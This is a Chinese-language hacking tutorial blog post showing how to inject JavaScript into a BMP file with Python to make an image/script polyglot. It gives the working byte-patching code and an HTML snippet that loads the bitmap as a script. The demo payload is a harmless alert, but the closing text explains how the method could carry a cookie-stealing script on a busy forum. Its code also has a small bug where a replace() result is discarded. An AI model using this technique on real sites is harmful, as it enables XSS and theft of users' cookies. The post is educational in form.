python黑客攻防（三）图片文件攻击

注：本教程仅供学习交流，未经允许禁止转载。请勿用于非法用途，后果自负。大神勿喷。喜欢的小伙伴可以关注我的微信公众号：黑客帮。

前言：
本篇文章参考自《Python黑客攻防入门》，演示向一张位图(bmp后缀的图片文件)注入JavaScript脚本。

教程：

准备一张“.bmp”后缀的图片文件，可网上下载，也可自己创建。这里我用画图创建了一张，放在D盘，用010Editor编辑器打开，（010Editor编辑器可自行百度下载）可以看到图片的16进制数。42 和 4D分别对应B，M；这就是用于识别位图的“魔数”。
编写简单的JavaScript脚本，如下，运行脚本会弹出警告框。下面的js文件和HTML文件都是通过pycharm创建的。

alert("Hello Python！")

编写向图片插入JavaScript脚本的python代码。图片建议不要放在C盘桌面，以免可能出错，运行代码后010Editor编辑器会弹出警告。点击重新加载，可以看到数据的最下面有刚才编写的JavaScript脚本。

fname = r"D:\1.bmp"
pfile = open(fname, "r+b") #以二进制打开读取图片
buff = pfile.read()
#替换掉可能引发错误的*与/
buff.replace(b'\x2A\x2F',b'\x00\x00')
pfile.close()

pfile = open(fname, "w+b")
pfile.write(buff)
#以起始位置为基准，光标后移两位
pfile.seek(2,0)
pfile.write(b'\x2F\x2A') #插入注释，在“魔数”后插入代表注释开始的标识
pfile.close()   #“魔数”正确，浏览器即可识别为位图文件，无论图像数据是否损坏

pfile = open(fname,"ab")
pfile.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
pfile.write(open('hello.js', 'rb').read()) #插入js脚本
pfile.close()
print('插入成功!')

编写HTML代码，然后用Microsoft Edge浏览器打开，出现了提示框，说明插入的JavaScript脚本运行了。

<img src="D:\1.bmp" />    
<script src="D:\1.bmp"></script>

总结：
示例中编写的hello.js脚本很简单，只简单弹出提示框。如果向位图插人的是段获取PC中的Cookie并传送到第三方网站的脚本，将这种位图上传到用户阅读量很大的公告栏后，用户阅读公告时，其Cookie信息就会被传送到黑客指定的网站。黑客利用这些信息可以发动XSS攻击。